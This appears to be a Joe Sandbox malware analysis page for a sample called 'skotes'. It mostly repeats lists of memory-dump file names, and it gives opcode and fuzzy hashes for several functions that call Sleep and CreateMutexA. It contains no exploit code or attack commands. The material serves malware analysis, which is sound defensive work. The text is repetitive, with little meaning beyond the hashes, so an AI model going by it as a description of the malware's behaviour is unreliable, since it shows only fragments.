Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c95441cf6fc445f9d005314398c1154cd496c8c96d7d8a3e70be5cf9f4f706ac
Instruction ID: ab804b9368be6154c7ba37e541515ffd32f77a0921ef565fd5449622101a7045
Opcode Fuzzy Hash: c95441cf6fc445f9d005314398c1154cd496c8c96d7d8a3e70be5cf9f4f706ac
Instruction Fuzzy Hash: 00316A31B002088BEB18DB78DC89FADB762EFC6318F24821DE014977D2C73999819762

Function 000CA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 26d5e1c38b0ff95b46bb4f2289ac0f571e4bd3644e8e3a166e00276fff01cf06
Instruction ID: 533264d8f5bc7f883c9fc7759aff89d820a3b4f5ed33294280e1d29b53a248ce
Opcode Fuzzy Hash: 26d5e1c38b0ff95b46bb4f2289ac0f571e4bd3644e8e3a166e00276fff01cf06
Instruction Fuzzy Hash: 7A3179317042089BEB18DB78DC89FADB7B2EF86318F24821DE114D77D2D73999809762

Function 000C9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b97495434d74419d9e522c5611c375849638a997d8a525f5dd5ef7df96fb8013
Instruction ID: 8791d3400ff3a54bcc1fe13f8d35f36811b8660d94238b448682fa05b47a59a5
Opcode Fuzzy Hash: b97495434d74419d9e522c5611c375849638a997d8a525f5dd5ef7df96fb8013
Instruction Fuzzy Hash: 922179317043049BFB189B68EDC9F6CF7A2EBC2714F24421DE118977D2DB799D808A12

Function 000CA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c0766bc7fa77b3404c96ead134784d2ed5a86286f47761b43c554fcdeca1726c
Instruction ID: cb5c80de2f7480410499968cb11e6845162617735b7edf7b97956762ae7c38a2
Opcode Fuzzy Hash: c0766bc7fa77b3404c96ead134784d2ed5a86286f47761b43c554fcdeca1726c
Instruction Fuzzy Hash: EA217F303442089BFB6867689C97F7DB3B2DF82708F24481EE109D62D3CF7A49859553

Function 000CA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e2365923508f7dd10e29be93fd87ed390cce98a5de3ab299158ce883d533b35d
Instruction ID: 440cb09dd69af8aa6f9c71e292989823f9fee43fe5652cc0751037558e6618e2
Opcode Fuzzy Hash: e2365923508f7dd10e29be93fd87ed390cce98a5de3ab299158ce883d533b35d
Instruction Fuzzy Hash: 07219E317003089BFB189B68EC89F6CF762DBC2718F24421DE514D77D1C77A9A808752

Non-executed Functions

Function 000C2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 000C2F5F
GetCurrentThreadId.KERNEL32 ref: 000C2F7E
__Mtx_unlock.LIBCPMT ref: 000C2FCC
__Cnd_broadcast.LIBCPMT ref: 000C2FE3
__Mtx_unlock.LIBCPMT ref: 000C30F5
GetCurrentThreadId.KERNEL32 ref: 000C3132
__Mtx_unlock.LIBCPMT ref: 000C319B

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
